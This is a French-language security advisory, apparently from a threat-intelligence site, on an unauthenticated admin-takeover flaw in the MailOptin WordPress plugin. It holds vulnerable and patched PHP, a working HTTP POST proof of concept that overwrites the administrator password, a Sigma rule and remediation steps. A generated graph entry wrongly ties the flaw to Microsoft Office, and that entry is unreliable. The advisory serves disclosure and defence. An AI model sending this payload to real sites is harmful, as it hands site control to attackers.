Aller au contenu

CVE-2026-109515 : escalade de privilèges sans authentification et prise de contrôle admin sur l'extension WordPress MailOptin via wp_insert_user()

Densité :
Synthèse Décisionnelle C-Level CVE-2026-109515 CRITICAL SCORE 94/100

Faille critique d'escalade de privilèges sans authentification et d'assignation de masse (CVSS 9.8) dans MailOptin <= 1.2.78.6. En injectant des clés optin_data[form_custom_field_mappings] forgées vers le point de terminaison public subscribe_to_email_list, un attaquant transmet ID et user_pass à wp_insert_user(), forçant WordPress en mode mise à jour et écrasant le mot de passe de l'administrateur en une seule requête.

HYBRID

SCORE DE MENACE HERMES & ÉVALUATION DE L'INFRASTRUCTURE CMS WEB

Cible : Extension WordPress MailOptin — Gestionnaire UserRegistration (subscribe_to_email_list / subscribe)
Confiance : 98%
94 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 18 / 20
Militarisation 19 / 20
Exposition 19 / 20
Prévalence 18 / 20
Impact 20 / 20
Maturité de l'exploit 19 / 20
Potentiel d'attaque en chaîne 19 / 20
⚖️ Divergence & Justification opérationnelle

Le standard CVSS v3.1 attribue un score de base de 9.8 (Critical), en parfaite cohérence avec le Hermes Threat Score de 94 (CRITICAL). MailOptin est massivement déployé sur les portails WordPress commerciaux pour automatiser la capture de prospects, l'inscription aux newsletters et l'enregistrement d'utilisateurs. Parce que la fonction native wp_insert_user() du cœur WordPress bascule silencieusement du mode 'création' au mode 'mise à jour d'utilisateur existant' dès que la clé 'ID' est présente dans le tableau $userdata, l'absence de liste blanche sur optin_data[form_custom_field_mappings] transforme n'importe quel formulaire d'inscription public en une primitive de réinitialisation forcée du mot de passe administrateur sans authentification.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-109515: MailOptin WordPress Plugin Unauthenticated Privilege Escalation & Admin Takeover via wp_insert_user() Mass AssignmentVULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTMicrosoft Office & 365 Apps
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”

Preuves vérifiées associées :

Le 16 octobre 2026, le NVD, Wordfence et Patchstack ont publié la CVE-2026-109515, une vulnérabilité critique d’escalade de privilèges sans authentification par assignation de masse (CWE-269 / CWE-915) affectant l’extension WordPress MailOptin – Popup, Optin Forms & Email Newsletters for Mailchimp, HubSpot, AWeber Etc. (mailoptin) dans toutes ses versions jusqu’à la 1.2.78.6 incluse (score CVSS v3.1 de 9.8 Critical).

Lorsqu’un site publie un formulaire MailOptin utilisant l’intégration WordPress User Registration, l’identifiant unique (UUID) de la campagne est directement visible dans le code source HTML de la page. Le point de terminaison public subscribe_to_email_list traite les soumissions via la méthode subscribe() sans exiger d’authentification, de vérification de capacité ou de validation cryptographique des correspondances de champs. Plus précisément, le gestionnaire accepte le paramètre optin_data[form_custom_field_mappings] fourni par le client dans la requête POST et l’utilise pour injecter des champs personnalisés dans le tableau $user_data transmis à la fonction native wp_insert_user($user_data) de WordPress. En associant des champs du formulaire aux colonnes critiques de la table wp_users — notamment ID (par exemple 1 pour l’administrateur principal) et user_pass (ou role) — un attaquant distant non authentifié force wp_insert_user() à passer en mode mise à jour, écrasant instantanément le mot de passe de l’administrateur et prenant le contrôle total du site.


Décomposition de la faille : form_custom_field_mappings contrôlé par le client et dualité de wp_insert_user()

Section intitulée « Décomposition de la faille : form_custom_field_mappings contrôlé par le client et dualité de wp_insert_user() »

La gravité extrême de la CVE-2026-109515 repose sur l’interaction directe entre deux mécanismes :

  1. Assignation de masse non filtrée dans subscribe() : Dans le module d’intégration UserRegistration de MailOptin (<= 1.2.78.6), les champs supplémentaires soumis via un formulaire d’opt-in sont associés aux colonnes utilisateur de WordPress. Au lieu de charger exclusivement la configuration de mappage enregistrée côté serveur par l’administrateur, le contrôleur subscribe_to_email_list lit le tableau optin_data[form_custom_field_mappings] directement depuis la requête HTTP POST du visiteur et copie les valeurs soumises vers les clés de destination sans filtrer les colonnes sensibles.
  2. Comportement dual création / mise à jour de wp_insert_user() dans le cœur WordPress : Dans le cœur de WordPress (wp-includes/user.php), la fonction wp_insert_user($userdata) remplit deux rôles distincts selon la présence de la clé ID (! empty( $userdata['ID'] )) :
    • Si ID est absent, wp_insert_user() insère un nouvel utilisateur dans wp_users.
    • Si ID est présent (par exemple $userdata['ID'] = 1), wp_insert_user() active le drapeau $update = true, charge le compte existant (get_userdata(1)) et écrase ses colonnes (user_pass, user_email, role, etc.) dans la table wp_users !
flowchart TD
subgraph Attacker["Attaquant distant non authentifié"]
Scrape["1. Lecture du code source HTML public<br/>Extraction de l'UUID du formulaire MailOptin"]
Payload["2. Requête POST subscribe_to_email_list<br/>optin_data[form_custom_field_mappings] :<br/>field_a -> 'ID' (1)<br/>field_b -> 'user_pass' (MotDePasseAttaquant)"]
Scrape --> Payload
end
subgraph MailOptin["Extension MailOptin (<= 1.2.78.6)"]
Endpoint["Point de terminaison public AJAX / Optin<br/>(subscribe_to_email_list)"]
Payload --> Endpoint
Endpoint --> MapLoop{"Mappage des champs dans subscribe()<br/>Aucune liste blanche sur la clé cible (CWE-915)"}
MapLoop -- "Injecte $user_data['ID'] = 1<br/>& $user_data['user_pass']" --> WPInsert["wp_insert_user($user_data)"]
end
subgraph WPCore["Base de données WordPress (wp_users)"]
WPInsert --> CheckID{"!empty($userdata['ID']) ?<br/>Bascule en mode $update = true !"}
CheckID --> Overwrite["Écrase le hachage du mot de passe<br/>de l'administrateur (ID=1) dans wp_users"]
Overwrite --> RCE["Connexion Admin -> Upload d'extension<br/>Exécution de code à distance (RCE)"]
end
style MapLoop fill:#ff4d4d,stroke:#990000,color:#ffffff
style CheckID fill:#ff1a1a,stroke:#800000,color:#ffffff

La reconstruction PHP ci-dessous illustre comment le paramètre optin_data[form_custom_field_mappings] permettait d’injecter des colonnes critiques dans wp_insert_user() jusqu’à la version 1.2.78.6, ainsi que le correctif déployé en version 1.2.78.7 :

<?php
// CODE VULNÉRABLE : MailOptin <= 1.2.78.6 (Gestionnaire UserRegistration::subscribe)
public function subscribe() {
$user_data = [
'user_login' => sanitize_user($this->email),
'user_email' => sanitize_email($this->email),
'user_pass' => wp_generate_password(),
'role' => $this->get_integration_data('subscriber_role', 'subscriber'),
];
// FAILLE 1 : accepte form_custom_field_mappings directement depuis la requête POST du client !
$field_mappings = !empty($this->extras['form_custom_field_mappings'])
? $this->extras['form_custom_field_mappings']
: [];
$core_wp_user_fields = [
'ID', 'user_pass', 'user_login', 'user_nicename', 'user_url',
'user_email', 'display_name', 'nickname', 'first_name',
'last_name', 'description', 'role'
];
foreach ($field_mappings as $custom_field_key => $destination_key) {
if (isset($this->extras[$custom_field_key])) {
$value = $this->extras[$custom_field_key];
// FAILLE 2 : autorise l'écrasement de 'ID', 'user_pass' et 'role' dans $user_data !
if (in_array($destination_key, $core_wp_user_fields, true)) {
$user_data[$destination_key] = $value;
}
}
}
// Lorsque $user_data['ID'] = 1 est injecté, wp_insert_user() passe en mode UPDATE
// et écrase le mot de passe du compte administrateur existant !
$user_id = wp_insert_user($user_data);
return $user_id;
}
// CODE CORRIGÉ : MailOptin >= 1.2.78.7
public function subscribe() {
// 1. Chargement exclusif des mappages enregistrés côté serveur en base de données
$field_mappings = $this->get_saved_server_field_mappings($this->optin_campaign_id);
// 2. Liste blanche stricte excluant formellement 'ID', 'role', 'user_pass' et 'user_email'
$allowed_user_fields = [
'user_url', 'display_name', 'nickname', 'first_name', 'last_name', 'description'
];
foreach ($field_mappings as $custom_field_key => $destination_key) {
if (in_array($destination_key, $allowed_user_fields, true) && isset($this->extras[$custom_field_key])) {
$user_data[$destination_key] = sanitize_text_field($this->extras[$custom_field_key]);
}
}
// 3. Suppression explicite de la clé 'ID' avant l'appel à wp_insert_user()
unset($user_data['ID']);
$user_id = wp_insert_user($user_data);
return $user_id;
}

Preuve de concept (requête HTTP d’exploitation)

Section intitulée « Preuve de concept (requête HTTP d’exploitation) »

Un attaquant ciblant un site WordPress disposant d’un formulaire MailOptin actif (optin_uuid) peut réinitialiser le mot de passe du compte administrateur (ID=1) en une seule requête HTTP POST non authentifiée :

POST /?mailoptin-ajax=subscribe_to_email_list HTTP/1.1
Host: vulnerable-wordpress.example.com
Content-Type: application/x-www-form-urlencoded
optin_data[optin_uuid]=d84a91f2be&optin_data[email]=attacker@example.net&optin_data[name]=Attacker&optin_data[form_custom_field_mappings][cf_target_id]=ID&optin_data[form_custom_field_mappings][cf_new_pass]=user_pass&optin_data[cf_target_id]=1&optin_data[cf_new_pass]=P@ssw0rd_Takeover_2026!

Investigation forensique et ingénierie de détection

Section intitulée « Investigation forensique et ingénierie de détection »

Les équipes SOC supervisant des parcs WordPress doivent inspecter les journaux HTTP (/?mailoptin-ajax=subscribe_to_email_list ou /wp-admin/admin-ajax.php) et auditer les tables wp_users et wp_usermeta pour identifier toute création de compte administrator ou modification suspecte du champ user_pass.

title: Escalade de privilèges sans authentification sur WordPress MailOptin (CVE-2026-109515)
id: 6a9d3f12-1095-415e-8b2d-mailoptin109515
status: experimental
description: Détecte les tentatives d'exploitation de la CVE-2026-109515 dans l'extension WordPress MailOptin via l'injection de form_custom_field_mappings ciblant les colonnes ID, user_pass ou role de wp_insert_user().
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-109515
author: Hermes Threat Intelligence
date: 2026/10/17
logsource:
category: webserver
detection:
selection_endpoint:
cs-method: 'POST'
cs-uri-query|contains:
- 'subscribe_to_email_list'
- 'mailoptin-ajax'
selection_ajax:
cs-method: 'POST'
cs-uri-stem|contains: '/wp-admin/admin-ajax.php'
request_body|contains: 'subscribe_to_email_list'
selection_payload:
request_body|contains:
- 'form_custom_field_mappings'
- '%5Bform_custom_field_mappings%5D'
selection_columns:
request_body|contains:
- '=ID'
- '=user_pass'
- '=role'
- '=user_email'
condition: (selection_endpoint or selection_ajax) and selection_payload and selection_columns
falsepositives:
- Aucun faux positif attendu ; les soumissions légitimes de formulaires n'écrasent jamais ID, user_pass ou role
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.privilege_escalation
- attack.t1078
- attack.persistence
- attack.t1136
- cve.2026-109515

  1. Mise à jour immédiate de l’extension MailOptin : Mettre à niveau l’extension MailOptin (mailoptin) vers la version 1.2.78.7 ou supérieure sur l’ensemble des sites WordPress. La version 1.2.78.7 applique une liste blanche stricte côté serveur sur les champs de destination et interdit l’injection des colonnes ID, user_pass et role dans wp_insert_user().
  2. Déploiement de règles WAF bloquant form_custom_field_mappings : En attendant l’application de la mise à jour, bloquer sur le WAF (Cloudflare, AWS WAF, ModSecurity) toute requête HTTP POST contenant la chaîne form_custom_field_mappings à destination de ?mailoptin-ajax=subscribe_to_email_list ou admin-ajax.php.
  3. Audit des comptes administrateurs et rotation des clés de salage : Vérifier la liste complète des comptes administrateurs (wp user list --role=administrator), réinitialiser les mots de passe des administrateurs légitimes et renouveler les clés de salage (AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY) dans wp-config.php afin de révoquer toute session potentiellement forgée.

Liens croisés et maillage du graphe de connaissances

Section intitulée « Liens croisés et maillage du graphe de connaissances »